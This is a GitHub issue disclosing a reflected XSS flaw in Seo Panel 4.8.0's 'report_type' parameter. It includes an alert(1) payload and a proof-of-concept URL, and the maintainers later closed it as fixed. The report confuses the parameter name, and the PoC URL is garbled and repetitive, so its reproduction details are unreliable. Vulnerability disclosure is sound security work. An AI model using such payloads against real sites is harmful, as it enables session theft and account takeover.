New issue

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XSS Vulnerability in "report_type" parameter #212



(○ Closed) xoffense opened this issue on Mar 19, 2021 · 0 comments

Assignees



Milestone

⇔ Seo panel 4.9.0

xoffense commented on Mar 19, 2021

Hi team,

I would like to report XSS vulnerability.

A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

XSS Payload: 1"autofocus onfocus=alert(1) //"

Vulnerable parameter: report_type

Steps to Reproduce the Issue:

- 1- Login to SEO admin panel
- 2- Paste below POC:

https://localhost/seopanel/archive.php?from_time=2021-03-18&order_col=url&order_val=DESC&report_type=1"autofocus onfocus=alert(1) //"&search_name=&sec=reportSummary&to_time=2021-03-18&order_val=DESC&report_type=1"autofocus onfocus=alert(1) //"&search_name=&sec=report_type=1"autofocus onfocus=alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"autofocus onfocus=alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name=&sec=report_type=1"alert(1) //"&search_name="alert(1) //"&search_name="alert 19&type=&website_id=http://www.example.com

As you can see, XSS is triggered and can send cookies to attacker.

Video POC: https://drive.google.com/file/d/1yRe3YtSYStd4k6bxC1jSAXlt8aMez1zS/view?usp=sharing

Impact

With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeover and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.

- A sendtogeo self-assigned this on Mar 22, 2021
- 💠 🦷 sendtogeo added this to the Seo panel 4.9.0 milestone on Mar 22, 2021
 - endtogeo closed this as completed in 173b0ba on Mar 22, 2021



Labels

None yet

Projects None yet

Milestone

Seo panel 4.9.0

No branches or pull requests

2 participants

